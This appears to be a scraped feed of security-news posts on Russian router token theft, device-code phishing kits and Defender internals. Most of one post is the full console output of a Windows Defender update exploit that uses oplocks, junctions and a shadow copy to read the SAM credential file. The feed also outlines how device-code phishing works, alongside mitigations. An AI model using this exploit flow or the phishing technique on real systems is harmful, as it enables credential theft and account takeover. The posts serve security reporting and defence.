New, from me: Hackers linked to Russia’s military intelligence units are using known flaws in older Internet routers to mass harvest authentication tokens from Microsoft Office users, security experts warned today. The spying campaign allowed state-backed Russian hackers to quietly siphon authentication tokens from users on more than 18,000 networks without deploying any malicious software or code.
https://krebsonsecurity.com/2026/04/russia-hacked-routers-to-steal-microsoft-office-tokens/
DEATHCon CFP open until June. Great conference with great content.
@tiraniddo
In case just the tool output helps to grok the flow, as opposed to sifting through code, here it is:
BrianKrebs
Will DormannC:\tmp>FunnyApp.exe
Checking for windows defender signature updates...
Found Update :
Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.447.218.0) - Current Channel (Broad)
Downloading updates...
Done.
Cabinet file mapped at 0x0000020030DFE154
Extracting cab file content...
Cab file content extracted.
Updates downloaded.
Creating VSS copy...
Found 1 volume shadow copies
Waiting for oplock to trigger...
New volume shadow copy detected : \Device\HarddiskVolumeShadowCopy2
Successfully accessed volume shadow copy.
Oplock triggered.
Waiting for callback...
CfCallbackFetchPlaceHolders triggered !
Directory query from MsMpEng.exe
Defender flagged.
Waiting for oplock to trigger...
WD is frozen and the new VSS can be used.
Created update directory C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3
Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpengine.dll
Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpasbase.vdm
Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpasdlta.vdm
Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpavbase.vdm
Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpavdlta.vdm
Waiting for windows defender to create a new definition update directory...
Calling ServerMpUpdateEngineSignature...
Detected new definition update directory in C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{BBCD40ED-A99B-4C3C-849E-BF71895B93D1}
Setting oplock on \??\C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpasbase.vdm
Waiting for oplock to trigger...
oplock triggered !
File moved \??\C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpasbase.vdm to C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3.WDFOO
Directory moved C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3 to C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3.foo
Recreated C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3
Junction created C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3 => \BaseNamedObjects\Restricted
Object manager link created \BaseNamedObjects\Restricted\mpasbase.vdm => \Device\HarddiskVolumeShadowCopy2\Windows\System32\Config\SAM
Leaked file opened C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{BBCD40ED-A99B-4C3C-849E-BF71895B93D1}\mpasbase.vdm
Read 65536 bytes
Exploit succeeded.
SAM file written at : C:\Users\limited\AppData\Local\Temp\0a7c3ec4-32d6-431c-806b-ba6f8301ba0c
After the EvilTokens PhaaS made some headlines last week for being able to phish M365 device codes, Push Security says there's actually 10 of these phishing kits used in the wild... a new rising trend, with device code phishing going up by 37.5 times this year
https://pushsecurity.com/blog/device-code-phishing#id-what-were-seeing-in-the-wild_id-sharefile
Patrick Wardle at Objective-See has reverse engineered the functionality within xprotectd:
(pushsecurity.com) Device Code Phishing Enters Mainstream Adoption: 10 Active Kits, PhaaS Proliferation, and the Bypass of All Authentication Controls
Device code phishing has surged 37.5x, becoming a mainstream criminal attack vector—bypassing MFA, passkeys, and all authentication controls via OAuth 2.0 Device Authorization Grant abuse.
In brief - Ten phishing kits, including the PhaaS EvilTokens, now weaponize this technique. Russia-linked Storm-2372 and Scattered Lapsus$ Hunters are actively targeting Microsoft 365 and Salesforce. Block device code flows via Conditional Access and monitor for anomalous token grants.
Technically - Attackers initiate an unauthenticated POST to the device authorization endpoint, phish victims to enter the user_code on a legitimate page, then poll for tokens. Kits like EvilTokens (Railway/Cloudflare Workers) abuse first-party Microsoft apps (FOCI-enabled) to harvest Primary Refresh Tokens. Mitigate by pre-creating service principals, enforcing user assignment, and deploying browser-level detection for device_code polling loops.
DocAtCDI
Catalin Cimpanu
O RLY CYBER
